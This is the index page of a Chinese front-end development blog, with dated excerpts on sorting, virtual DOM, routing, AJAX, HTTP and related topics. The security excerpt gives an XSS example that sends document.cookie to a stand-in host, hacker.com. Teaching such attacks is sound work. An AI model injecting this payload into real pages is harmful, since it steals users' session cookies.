code之路
排序算法 排序算法
排序算法 2019更新 function swap(A,i,j){ [A[i],A[j]] = [A[j],A[i]] } 冒泡排序(O(n^2))从第一个开始俩俩比较,大的放到后边,一轮之后,最大的数字就冒泡到了最后边。然后开始第二
2019-07-12
随手记 随手记
Sandbox链接真的很不错,太好看了,和我的 vscode 一毛一样,快速生成项目 vue,react 等等等等全都支持,写 demo 学习必备佳品,比我之前用的 jsbin 强大太多 其他好用的网站工具以后就写在这里 Squoosh链接
2018-11-12
Mac前端开发环境配置 Mac前端开发环境配置
Mac安装 Homebrew前提是科学上网ShadowsocksX-NG-R 安装 Xcode 命令行工具2019.6.6 -下边的命令已经失效 ,会查找软件失败,需要自己去 developer apple 下载安装 $ xcode-sel
2018-10-03
代码优化 代码优化
代码优化的基本原则 易读性优先如果不是性能瓶颈,就不要为了性能而改写代码复杂性守恒原则 命名程序员三大难题变量命名 缓存失效 循环边界 原则: 注意词性 普通变量(名词)bool 变量(形容词,be 动词,情态动词,has)普通函数(
2018-08-24
虚拟DOM 虚拟DOM
虚拟 DOM虚拟 DOM 实际上就是一个 对象,使用它来减少对真实 DOM 的操作次数。对比之后选择更新那些 dom,而不是全部删除再重建 实现一个简单的虚拟 DOMclass vNode { constructor() {
2018-08-18
MVC与单向绑定和双向绑定 MVC与单向绑定和双向绑定
MVCMVC 的出现举栗子如果没有 MVC 代码是怎样的呢?没错就是意大利面条 axios.interceptors.response.use(function(response) { let { config: { url
2018-08-12
前端路由 前端路由
前端路由简单的说,路由是根据不同的 url 地址展示不同的内容或组件前端路由更多用在单页应用上, 也就是 SPA, 因为单页应用, 基本上都是前后端分离的, 后端自然也就不会给前端提供路由。 主要方案在 html5 的 history
2018-08-06
AJAX AJAX
AJAX 全称 Asynchronous Javascript And XML,即异步的 JavaScript 和 XML,AJAX 允许以任意形式发送请求并且以任意形式展示。符合如下技术的就叫做 AJAX:使用 XMLHttpReques
2018-07-20
jQuery jQuery
实现一个 jQuery 的 API实现一个函数,并判断参数是节点还是选择器,返回一个 nodes(数组形式的对象)让 addClass()可以同时增加几个 className,把 setText 变成 text(既能 getText,又能
2018-07-16
安全相关 安全相关
安全XSS 攻击举例 div.innerHTML = ( <script>$.get('http://hacker.com?cookie='+document.cookie)</script> ); // 恶意代码就被执行了
2018-06-10
Web性能优化 Web性能优化
Web 性能优化想要进行优化必须先要了解一个页面从加载到展现的过程中经历了那些过程找到一篇好文章 从输入 URL 到页面展现中间发生了什么? 浏览器的地址栏输入 URL 并按下回车。我们常见的 URL 是这样的:http://www.bai
2018-06-01
HTTP HTTP
多看阅读-图解 HTTP Web 使用一种名为 HTTP(HyperText Transfer Protocol,超文本传输协议)的协议作为规范,完成从客户端到服务器端等一系列运作流程。通常使用的网络(包括互联网)是在 TCP/IP 协议
2018-05-18
1 / 2